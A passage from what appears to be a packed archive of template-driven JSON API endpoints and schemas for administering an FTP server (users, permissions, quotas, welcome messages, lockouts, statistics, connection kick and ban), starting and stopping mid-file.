	"odbcds": { "_type": "string" },
	"odbclogin": { "_type": "string" },
	"odbcpwd": { "_type": "string" },
	"odbctimeo": { "_type": "string" },
	"odbctable": { "_type": "string" },
	"odbcname": { "_type": "string" },
	"odbcuserpwd": { "_type": "string" },
	"odbcuserhome": { "_type": "string" },
	"odbcquota": { "_type": "string" },
	"odbcdownload": { "_type": "string" },
	"odbcupload": { "_type": "string" },
	"odbcdisable": { "_type": "string" },
	"odbcmaxconn": { "_type": "string" },
	"odbcmaxconnip": { "_type": "string" },
	"odbcwelcome": { "_type": "string" }
		
},
"lang":{}
}>6\Tapi\server\ftp_config_server_security.jsonn&<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	usemacro CHECKREQPARAM.EXIST(REQ.FTPSID,"server id", "SERVERID")

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif
	
	action "ftpserversec"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",
	"ftp_error": "#FTPERROR#",

	"ftpsname": "#FTPSNAME#",	
	"maxconn": <?usemacro NUMBER(MAXCONN)?>,
	"maxlogin": <?usemacro NUMBER(MAXLOGIN)?>,
	"logintimeo": <?usemacro FORMAT.SPN(LOGINTIMEO)?>,
	"notrtimeo": <?usemacro FORMAT.SPN(NOTRTIMEO)?>,
	"stalltimeo": <?usemacro FORMAT.SPN(STALLTIMEO)?>,
	"keepalives": <?usemacro BOOL(KEEPALIVES)?>,
	"priority": "#PRIORITY#",	
	"unsecured": <?usemacro BOOL(UNSECURED)?>,
	"fxp": <?usemacro BOOL(FXP)?>,
	"wsftp": <?usemacro BOOL(WSFTP)?>,
	"pwquoted": <?usemacro BOOL(PWQUOTED)?>,
	"ahenabled": <?usemacro BOOL(AHENABLED)?>,
	"ahcount": <?usemacro NUMBER(AHCOUNT)?>,
	"ahreset": <?usemacro FORMAT.SPN(AHRESET)?>,
	"ahlockout": <?usemacro FORMAT.SPN(AHLOCKOUT)?>
			
},
"lang":{}
}
ߓXapi\server\ftp_config_server_security.schemam{"result": {

	"ftp_message": { "_type": "string" },
	"ftp_error": { "_type": "string" },

	"ftpsname": { "_type": "string" },
	"maxconn": { "_type": "number" },
	"maxlogin": { "_type": "number" },
	"logintimeo": { "_type": "string" },
	"notrtimeo": { "_type": "string" },
	"stalltimeo": { "_type": "string" },
	"keepalives": { "_type": "bool" },
	"priority": { "_type": "string" },
	"unsecured": { "_type": "bool" },
	"fxp": { "_type": "bool" },
	"wsftp": { "_type": "bool" },
	"pwquoted": { "_type": "bool" },
	"ahenabled": { "_type": "bool" },
	"ahcount": { "_type": "number" },
	"ahreset": { "_type": "string" },
	"ahlockout": { "_type": "string" }
	
},
"lang":{}
}sRapi\server\ftp_config_server_welcome.json<oT<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	usemacro CHECKREQPARAM.EXIST(REQ.FTPSID,"server id", "SERVERID")

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif
	
	action "ftpserverwlc"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",
	"ftp_error": "#FTPERROR#",

	"ftpsname": "#FTPSNAME#",	
	"welcome": "#WELCOME#",	
	"welcome2": "#WELCOME2#",	
	"showbanner": <?usemacro BOOL(SHOWBANNER)?>
			
},
"lang":{}
}
RVapi\server\ftp_config_server_welcome.schema{"result": {

	"ftp_message": { "_type": "string" },
	"ftp_error": { "_type": "string" },

	"ftpsname": { "_type": "string" },
	"welcome": { "_type": "string" },
	"welcome2": { "_type": "string" },
	"showbanner": { "_type": "bool" }
	
},
"lang":{}
}@api\server\ftp_config_users.jsonU<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	if REQ.HTTPMETHOD == "DELETE"
		usemacro CHECKREQPARAM.EXIST(REQ.FTPUID, "user id", "USERID")
		
		action "ftpuserdel"
		usemacro ERRORHANDLER()		
	endif
	
	action "ftpuserlist"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",
	"ftp_error": "#FTPERROR#",

	"users": [
	    <?if FTPUSERS
	    	usemacro CommaInit()
			enum FTPUSERS
				usemacro CommaDo()?>
				{					    
					"name": "#FTPUSER.NAME#",
					"ftpuid": <?usemacro NUMBER(FTPUSER.ID)?>
				}
			<?next
		endif?>		
	]
			
},
"lang":{}
}
R{Dapi\server\ftp_config_users.schema{
	"result": {

		"ftp_message": { "_type": "string" },
		"ftp_error": { "_type": "string" },
		
		"users" : {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"ftpuid": { "_type": "number" }
			}
		}							
			
	},
	"lang": {}
}
SJbJapi\server\ftp_config_user_basic.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	// use 0 for new user
	usemacro CHECKREQPARAM.EXIST(REQ.FTPUID,"user id", "USERID")

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif
	
	action "ftpuser"
	usemacro ERRORHANDLER()

?>{"result": {
	 "ipfilters":[
	    <?if IPFILTER
	    	usemacro CommaInit()
			enum IPFILTER
				usemacro CommaDo()?>
				{					    
					"name": "#IPFILTER.NAME#",
					"value": "#IPFILTER.NAME#"
				}
			<?next
		endif?>		
	 ],	
	"basic":{
		"ftpuid":<?if FTPUID?>#FTPUID#<?else?>0<?endif?>,
		"ftp_message": "#FTPMSG#",
		"ftp_error": "#FTPERROR#",
		"ftpuname": "#FTPUNAME#",
			
		"userpwd": "#USERPWD#",	
		"canchangepwd": <?usemacro BOOL(CANCHANGEPWD)?>,
		"ipfilter": "#IPFILTER#",	
		"bldown": <?usemacro NUMBER(BLDOWN)?>,
		"blup": <?usemacro NUMBER(BLUP)?>
	}
			
},
"lang":{}
}
|
Napi\server\ftp_config_user_basic.schema{"result": {

	"ipfilters" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"value": { "_type": "string" }
		}
	},
	"basic": {
		"ftpuid": { "_type": "number" },
		"ftp_message": { "_type": "string" },
		"ftp_error": { "_type": "string" },
		"ftpuname": { "_type": "string" },
			
		"userpwd": { "_type": "string" },
		"canchangepwd": { "_type": "bool" },
		"ipfilter": { "_type": "string" },
		"bldown": { "_type": "number" },
		"blup": { "_type": "number" }
	}		
},
"lang":{}
}7>Napi\server\ftp_config_user_disable.jsonA<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	usemacro CHECKREQPARAM.EXIST(REQ.FTPUID,"user id", "USERID")

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif
	
	action "ftpuserdis"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",
	"ftp_error": "#FTPERROR#",
	"ftpuname": "#FTPUNAME#",
	
	"disabled": [
	    <?if USERDISABLED
	    	usemacro CommaInit()
			enum USERDISABLED
				usemacro CommaDo()?>
				{					    
					"value": <?usemacro NUMBER(SERVER.ID)?>,
					"name": "#SERVER.NAME#"
				}
			<?next
		endif?>		
	],

	"enabled": [
	    <?if USERENABLED
	    	usemacro CommaInit()
			enum USERENABLED
				usemacro CommaDo()?>
				{					    
					"value": <?usemacro NUMBER(SERVER.ID)?>,
					"name": "#SERVER.NAME#"
				}
			<?next
		endif?>		
	]
	
},
"lang":{}
}
\zRapi\server\ftp_config_user_disable.schema<{"result": {

	"ftp_message": { "_type": "string" },
	"ftp_error": { "_type": "string" },
	"ftpuname": { "_type": "string" },
	
	"disabled" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"id": { "_type": "number" }
		}
	},							

	"enabled" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"id": { "_type": "number" }
		}
	}
	
},
"lang":{}
}詅Lapi\server\ftp_config_user_groups.json;)<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	usemacro CHECKREQPARAM.EXIST(REQ.FTPUID,"user id", "USERID")

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif
	
	action "ftpusergrp"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",
	"ftp_error": "#FTPERROR#",
	"ftpuname": "#FTPUNAME#",
	
	"member": [
	    <?if USERGROUPS
	    	usemacro CommaInit()
			enum USERGROUPS
				usemacro CommaDo()?>
				{					    
					"value": <?usemacro NUMBER(USERGROUP.ID)?>,
					"name": "#USERGROUP.NAME#"
				}
			<?next
		endif?>		
	],

	"nonmember": [
	    <?if FTPGROUPS
	    	usemacro CommaInit()
			enum FTPGROUPS
				usemacro CommaDo()?>
				{					    
					"value": <?usemacro NUMBER(FTPGROUP.ID)?>,
					"name": "#FTPGROUP.NAME#"
				}
			<?next
		endif?>		
	]
	
},
"lang":{}
}
e*Papi\server\ftp_config_user_groups.schemaO{"result": {

	"ftp_message": { "_type": "string" },
	"ftp_error": { "_type": "string" },
	"ftpuname": { "_type": "string" },
	
	"member" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"id": { "_type": "number" }
		}
	},							

	"nonmember" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"id": { "_type": "number" }
		}
	}							
	
},
"lang":{}
}CCxHapi\server\ftp_config_user_home.json]<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	usemacro CHECKREQPARAM.EXIST(REQ.FTPUID,"user id", "USERID")

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif
	
	action "ftpuserhome"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",
	"ftp_error": "#FTPERROR#",
	"ftpuname": "#FTPUNAME#",
	
	"homes": [
	    <?if HOMES
	    	usemacro CommaInit()
			enum HOMES
				usemacro CommaDo()?>
				{					    
					"path": "#HOME.PATH#",
					"quota": <?usemacro NUMBER(HOME.QUOTA)?>,
					"sname": "#HOME.SNAME#",
					"option": "#HOME.OPTION#"
				}
			<?next
		endif?>		
	],
	
	"servers": [
	    <?if SERVERS
	    	usemacro CommaInit()
			enum SERVERS
				usemacro CommaDo()?>
				{					    
					"name": "#SERVER.NAME#",
					"value": <?usemacro NUMBER(SERVER.ID)?>
				}
			<?next
		endif?>		
	]
	
},
"lang":{}
}
STHLapi\server\ftp_config_user_home.schema{"result": {

	"ftp_message": { "_type": "string" },
	"ftp_error": { "_type": "string" },
	"ftpuname": { "_type": "string" },
	
	"homes" : {
		"_type": "array",
		"_element": {
			"path": { "_type": "string" },
			"quota": { "_type": "number" },
			"sname": { "_type": "string" },
			"option": { "_type": "string" }
		}
	},							
	
	"servers" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"value": { "_type": "number" }
		}
	}							
	
},
"lang":{}
}+(kNapi\server\ftp_config_user_maxconn.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	usemacro CHECKREQPARAM.EXIST(REQ.FTPUID,"user id", "USERID")

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif
	
	action "ftpusermaxc"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",
	"ftp_error": "#FTPERROR#",
	"ftpuname": "#FTPUNAME#",
	
	"maxcs": [
	    <?if MAXCS
	    	usemacro CommaInit()
			enum MAXCS
				usemacro CommaDo()?>
				{					    
					"conn": <?usemacro NUMBER(MAXC.CONN)?>,
					"perip": <?usemacro NUMBER(MAXC.PERIP)?>,
					"sname": "#MAXC.SNAME#",
					"option": "#MAXC.OPTION#"
				}
			<?next
		endif?>		
	],
	
	"servers": [
	    <?if SERVERS
	    	usemacro CommaInit()
			enum SERVERS
				usemacro CommaDo()?>
				{					    
					"name": "#SERVER.NAME#",
					"value": <?usemacro NUMBER(SERVER.ID)?>
				}
			<?next
		endif?>		
	]
	
},
"lang":{}
}
nbPRapi\server\ftp_config_user_maxconn.schema{"result": {

	"ftp_message": { "_type": "string" },
	"ftp_error": { "_type": "string" },
	"ftpuname": { "_type": "string" },
	
	"maxcs" : {
		"_type": "array",
		"_element": {
			"conn": { "_type": "number" },
			"perip": { "_type": "number" },
			"sname": { "_type": "string" },
			"option": { "_type": "string" }
		}
	},							
	
	"servers" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"value": { "_type": "number" }
		}
	}							
	
},
"lang":{}
}>?Vapi\server\ftp_config_user_permissions.json9L<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	usemacro CHECKREQPARAM.EXIST(REQ.FTPUID,"user id", "USERID")

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
		
		if REQ.PERM has "L"
			set REQ.MASK1 = "1"
		endif
		if REQ.PERM has "R"
			set REQ.MASK2 = "1"
		endif
		if REQ.PERM has "C"
			set REQ.MASK4 = "1"
		endif
		if REQ.PERM has "D"
			set REQ.MASK8 = "1"
		endif
		if REQ.PERM has "W"
			set REQ.MASK16 = "1"
		endif		
		if REQ.PERM has "*"
			set REQ.MASKFULL = "-1"
		endif
		
	endif
	
	action "ftpuseracc"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",
	"ftp_error": "#FTPERROR#",
	"ftpuname": "#FTPUNAME#",
	
	"permissions": [
	    <?if PERMISSIONS
	    	usemacro CommaInit()
			enum PERMISSIONS
				usemacro CommaDo()?>
				{					    
					"path": "#PERMISSION.PATH#",
					"flags": "#PERMISSION.FLAGS#",
					"sname": "#PERMISSION.SNAME#",
					"relative": "#PERMISSION.RELATIVE#",
					"option": "#PERMISSION.OPTION#"
				}
			<?next
		endif?>		
	],
	
	"servers": [
	    <?if SERVERS
	    	usemacro CommaInit()
			enum SERVERS
				usemacro CommaDo()?>
				{					    
					"name": "#SERVER.NAME#",
					"value": <?usemacro NUMBER(SERVER.ID)?>
				}
			<?next
		endif?>		
	]
	
},
"lang":{}
}
MXhZapi\server\ftp_config_user_permissions.schema)Ps{"result": {

	"ftp_message": { "_type": "string" },
	"ftp_error": { "_type": "string" },
	"ftpuname": { "_type": "string" },
	
	"permissions" : {
		"_type": "array",
		"_element": {
			"path": { "_type": "string" },
			"flags": { "_type": "string" },
			"sname": { "_type": "string" },
			"relative": { "_type": "string" },
			"option": { "_type": "string" }
		}
	},							
	
	"servers" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"value": { "_type": "number" }
		}
	}							
	
},
"lang":{}
}Tapi\server\ftp_config_user_permreport.jsona<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	usemacro CHECKREQPARAM.EXIST(REQ.FTPUID,"user id", "USERID")

	action "ftpuserperm"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",
	"ftp_error": "#FTPERROR#",
	"ftpuname": "#FTPUNAME#",
	
	"permissions": [
	    <?if USERPERMS
	    	usemacro CommaInit()
			enum USERPERMS
				usemacro CommaDo()?>
				{					    
					"path": "#PERM.PATH#",
					"from": "#PERM.FROM#",
					"fromuser": "#FTP.PERMFROMUSER#",
					"flags": "#PERM.FLAGS#",
					"invalid": <?usemacro BOOL(PERM.INVALID)?>,
					
					"sname": "#PERM.SNAME#",
					"root": "#PERM.ROOT#",
					"home": "#PERM.HOME#",
					"quota": <?usemacro FORMAT.SZX(PERM.QUOTA)?>,
					"quotaused": <?usemacro FORMAT.SZX(PERM.QUOTAUSED)?>,
					"cantlogin": "#PERM.CANTLOGIN#"
				}
			<?next
		endif?>		
	]
	
},
"lang":{}
}
GyIXapi\server\ftp_config_user_permreport.schemaQ{"result": {

	"ftp_message": { "_type": "string" },
	"ftp_error": { "_type": "string" },
	"ftpuname": { "_type": "string" },
	
	"permissions" : {
		"_type": "array",
		"_element": {
			"path": { "_type": "string" },
			"from": { "_type": "string" },
			"flags": { "_type": "string" },
			"invalid": { "_type": "bool" },
			
			"sname": { "_type": "string" },
			"root": { "_type": "string" },
			"home": { "_type": "string" },
			"quota": { "_type": "string" },
			"quotaused": { "_type": "string" },
			"cantlogin": { "_type": "bool" }
		}
	}							
	
},
"lang":{}
}gJapi\server\ftp_config_user_ratio.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	usemacro CHECKREQPARAM.EXIST(REQ.FTPUID,"user id", "USERID")

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif
	
	action "ftpuserrto"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",
	"ftp_error": "#FTPERROR#",
	"ftpuname": "#FTPUNAME#",
		
	"ratiotype": <?usemacro NUMBER(RATIOTYPE)?>,
	"ratioup": <?usemacro NUMBER(RATIOUP)?>,
	"ratiodown": <?usemacro NUMBER(RATIODOWN)?>,
	"ratiostart": <?usemacro NUMBER(RATIOSTART)?>,
	"ratioipexp": <?usemacro FORMAT.SPN(RATIOIPEXP)?>
			
},
"lang":{}
}
RNapi\server\ftp_config_user_ratio.schemaY {"result": {

	"ftp_message": { "_type": "string" },
	"ftp_error": { "_type": "string" },
	"ftpuname": { "_type": "string" },
		
	"ratiotype": { "_type": "number" },
	"ratioup": { "_type": "number" },
	"ratiodown": { "_type": "number" },
	"ratiostart": { "_type": "number" },
	"ratioipexp": { "_type": "string" }
			
},
"lang":{}
}ǫ7-Napi\server\ftp_config_user_welcome.jsonEH<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	usemacro CHECKREQPARAM.EXIST(REQ.FTPUID,"user id", "USERID")

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif
	
	action "ftpuserwlc"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",
	"ftp_error": "#FTPERROR#",
	"ftpuname": "#FTPUNAME#",
		
	"welcome": "#WELCOME#"
		
},
"lang":{}
}
Rapi\server\ftp_config_user_welcome.schema9{"result": {

	"ftp_message": { "_type": "string" },
	"ftp_error": { "_type": "string" },
	"ftpuname": { "_type": "string" },
		
	"welcome": { "_type": "string" }
		
},
"lang":{}
}[$8api\server\ftp_lockouts.jsonAħ<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	if REQ.HTTPMETHOD == "DELETE"
		usemacro CHECKREQPARAM.EXIST(REQ.SID, "server id", "SERVERID")
		usemacro CHECKREQPARAM.EXIST(REQ.IP, "ip address", "INFO.LOCKOUT.IP")
		
		action "ftpdellockout"
		usemacro ERRORHANDLER()
	endif
	
	action "ftpah"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",

	"lockouts": [
	    <?if LOCKOUTS
	    	usemacro CommaInit()
			enum LOCKOUTS
				usemacro CommaDo()?>
				{					    
					"sname": "#LOCKOUT.SNAME#",
					"sid": <?usemacro NUMBER(LOCKOUT.SID)?>,
					"ip": "#LOCKOUT.IP#",
					"expire": <?usemacro FORMAT.IN(LOCKOUT.EXPIRE)?>
				}
			<?next
		endif?>		
	]
			
},
"lang":{}
}
yy<api\server\ftp_lockouts.schema5{
	"result": {

		"ftp_message": { "_type": "string" },
		
		"lockouts" : {
			"_type": "array",
			"_element": {
				"sname": { "_type": "string" },
				"sid": { "_type": "number" },
				"ip": { "_type": "string" },
				"expire": { "_type": "string" }
			}
		}							
			
	},
	"lang": {}
}
7Bapi\server\ftp_stats_ipratio.jsonS<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	if REQ.HTTPMETHOD == "DELETE"
		usemacro CHECKREQPARAM.EXIST(REQ.SID, "server id", "FTP.STAT.SERVERNAME")
		usemacro CHECKREQPARAM.EXIST(REQ.UID, "user id", "USERID")
		usemacro CHECKREQPARAM.EXIST(REQ.IP, "ip address", "INFO.LOCKOUT.IP")
		
		action "ftpdelipstats"
		usemacro ERRORHANDLER()
	endif
	
	action "ftpipratiostats"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",

	"stats": [
	    <?if IPRATIOSTATS
	    	usemacro CommaInit()
			enum IPRATIOSTATS
				usemacro CommaDo()?>
				{					    
					"sname": "#RATIO.SNAME#",
					"sid": <?usemacro NUMBER(RATIO.SID)?>,
					"uname": "#RATIO.UNAME#",
					"uid": <?usemacro NUMBER(RATIO.UID)?>,
					"ip": "#RATIO.IP#",
					"expire": <?usemacro FORMAT.IN(RATIO.EXPIRE)?>,			
					"download": <?usemacro FORMAT.SZX(STATS.DOWNLOAD)?>,
					"upload": <?usemacro FORMAT.SZX(STATS.UPLOAD)?>
				}
			<?next
		endif?>		
	]
			
},
"lang":{}
}

+Fapi\server\ftp_stats_ipratio.schemaC{
	"result": {

		"ftp_message": { "_type": "string" },
		
		"stats" : {
			"_type": "array",
			"_element": {
				"sname": { "_type": "string" },
				"sid": { "_type": "number" },
				"uname": { "_type": "string" },
				"uid": { "_type": "number" },		
				"ip": { "_type": "string" },
				"expire": { "_type": "string" },
				"download": { "_type": "string" },
				"upload": { "_type": "string" }
			}
		}							
			
	},
	"lang": {}
}
q@api\server\ftp_stats_ntuser.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()

	if REQ.HTTPMETHOD == "DELETE"
		usemacro CHECKREQPARAM.EXIST(REQ.SID, "server id", "FTP.STAT.SERVERNAME")
		usemacro CHECKREQPARAM.EXIST(REQ.USID, "user sid", "GROUPID")

		action "ftpdelntstats"
		usemacro ERRORHANDLER()
	endif

	action "ftpntuserstats"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",

	"stats": [
	    <?if NTUSERSTATS
	    	usemacro CommaInit()
			enum NTUSERSTATS
				usemacro CommaDo()?>
				{
					"sname": "#USER.SNAME#",
					"sid": <?usemacro NUMBER(USER.SID)?>,
					"uname": "#USER.UNAME#",
					"usid": "#USER.USID#",
					"lastlogin": <?usemacro FORMAT.DTML(STATS.LASTLOGIN)?>,
					"login": <?usemacro NUMBER(STATS.LOGIN)?>,
					"badlogin": <?usemacro NUMBER(STATS.BADLOGIN)?>,
					"filesdown": <?usemacro NUMBER(STATS.FILESDOWN)?>,
					"filesup": <?usemacro NUMBER(STATS.FILESUP)?>,
					"download": <?usemacro FORMAT.SZX(STATS.DOWNLOAD)?>,
					"upload": <?usemacro FORMAT.SZX(STATS.UPLOAD)?>,
					"commdown": <?usemacro FORMAT.SZX(STATS.COMMDOWN)?>,
					"commup": <?usemacro FORMAT.SZX(STATS.COMMUP)?>
				}
			<?next
		endif?>
	]

},
"lang":{}
}
Dapi\server\ftp_stats_ntuser.schema3.{
	"result": {

		"ftp_message": { "_type": "string" },
		
		"stats" : {
			"_type": "array",
			"_element": {
				"sname": { "_type": "string" },
				"sid": { "_type": "number" },
				"uname": { "_type": "string" },
				"usid": { "_type": "string" },
				"lastlogin": { "_type": "string" },
				"login": { "_type": "number" },
				"badlogin": { "_type": "number" },
				"filesdown": { "_type": "number" },
				"filesup": { "_type": "number" },
				"download": { "_type": "string" },
				"upload": { "_type": "string" },
				"commdown": { "_type": "string" },
				"commup": { "_type": "string" }
			}
		}							
			
	},
	"lang": {}
}
@api\server\ftp_stats_server.json%|<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	if REQ.HTTPMETHOD == "DELETE"
		usemacro CHECKREQPARAM.EXIST(REQ.SID, "server id", "FTP.STAT.SERVERNAME")
		
		action "ftpresetservstats"
		usemacro ERRORHANDLER()
	endif
	
	action "ftpservstats"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",

	"stats": [
	    <?if SERVSTATS
	    	usemacro CommaInit()
			enum SERVSTATS
				usemacro CommaDo()?>
				{					    
					"name": "#SERV.SNAME#",
					"sid": <?usemacro NUMBER(SERV.SID)?>,
					"lastlogin": <?usemacro FORMAT.DTML(STATS.LASTLOGIN)?>,
					"login": <?usemacro NUMBER(STATS.LOGIN)?>,
					"badlogin": <?usemacro NUMBER(STATS.BADLOGIN)?>,
					"filesdown": <?usemacro NUMBER(STATS.FILESDOWN)?>,
					"filesup": <?usemacro NUMBER(STATS.FILESUP)?>,
					"download": <?usemacro FORMAT.SZX(STATS.DOWNLOAD)?>,
					"upload": <?usemacro FORMAT.SZX(STATS.UPLOAD)?>,
					"commdown": <?usemacro FORMAT.SZX(STATS.COMMDOWN)?>,
					"commup": <?usemacro FORMAT.SZX(STATS.COMMUP)?>
				}
			<?next
		endif?>		
	]
			
},
"lang":{}
}
ZDapi\server\ftp_stats_server.schemaKp{
	"result": {

		"ftp_message": { "_type": "string" },
		
		"stats" : {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"sid": { "_type": "number" },
				"lastlogin": { "_type": "string" },
				"login": { "_type": "number" },
				"badlogin": { "_type": "number" },
				"filesdown": { "_type": "number" },
				"filesup": { "_type": "number" },
				"download": { "_type": "string" },
				"upload": { "_type": "string" },
				"commdown": { "_type": "string" },
				"commup": { "_type": "string" }
			}
		}							
			
	},
	"lang": {}
}
OE<api\server\ftp_stats_user.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	if REQ.HTTPMETHOD == "DELETE"
		usemacro CHECKREQPARAM.EXIST(REQ.UID, "user id", "USERID")
		
		action "ftpresetuserstats"
		usemacro ERRORHANDLER()
	endif
	
	action "ftpuserstats"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",

	"stats": [
	    <?if USERSTATS
	    	usemacro CommaInit()
			enum USERSTATS
				usemacro CommaDo()?>
				{					    
					"name": "#USER.UNAME#",
					"uid": <?usemacro NUMBER(USER.UID)?>,
					"lastlogin": <?usemacro FORMAT.DTML(STATS.LASTLOGIN)?>,
					"login": <?usemacro NUMBER(STATS.LOGIN)?>,
					"badlogin": <?usemacro NUMBER(STATS.BADLOGIN)?>,
					"filesdown": <?usemacro NUMBER(STATS.FILESDOWN)?>,
					"filesup": <?usemacro NUMBER(STATS.FILESUP)?>,
					"download": <?usemacro FORMAT.SZX(STATS.DOWNLOAD)?>,
					"upload": <?usemacro FORMAT.SZX(STATS.UPLOAD)?>,
					"commdown": <?usemacro FORMAT.SZX(STATS.COMMDOWN)?>,
					"commup": <?usemacro FORMAT.SZX(STATS.COMMUP)?>
				}
			<?next
		endif?>		
	]
			
},
"lang":{}
}
u9@api\server\ftp_stats_user.schemaK{
	"result": {

		"ftp_message": { "_type": "string" },
		
		"stats" : {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"uid": { "_type": "number" },
				"lastlogin": { "_type": "string" },
				"login": { "_type": "number" },
				"badlogin": { "_type": "number" },
				"filesdown": { "_type": "number" },
				"filesup": { "_type": "number" },
				"download": { "_type": "string" },
				"upload": { "_type": "string" },
				"commdown": { "_type": "string" },
				"commup": { "_type": "string" }
			}
		}							
			
	},
	"lang": {}
}
LL
4api\server\ftp_status.jsonyf<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	if REQ.HTTPMETHOD == "DELETE"
		if REQ.BAN
			// ban
			usemacro CHECKREQPARAM(REQ.BAN,"-0-,-1-,-2-","ban type", "BANTYPE")
			usemacro CHECKREQPARAM.EXIST(REQ.SID,"server id", "FTP.STAT.SERVERNAME")
			usemacro CHECKREQPARAM.EXIST(REQ.UID,"user id", "USERID")		
			usemacro CHECKREQPARAM.EXIST(REQ.CID,"connection id", "CONNECTIONID")
					
			action "ftpban"
			usemacro ERRORHANDLER()
		else
			// kick
			usemacro CHECKREQPARAM.EXIST(REQ.SID,"server id", "FTP.STAT.SERVERNAME")
			usemacro CHECKREQPARAM.EXIST(REQ.CID,"connection id", "CONNECTIONID")
			
			action "ftpkick"
			usemacro ERRORHANDLER()
		endif
	endif
	
	action "ftpconns"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",

	"connections": [
	    <?if CONNECTIONS
	    	usemacro CommaInit()
			enum CONNECTIONS
				usemacro CommaDo()?>
				{					    
					"cid": <?usemacro NUMBER(CONN.CID)?>,
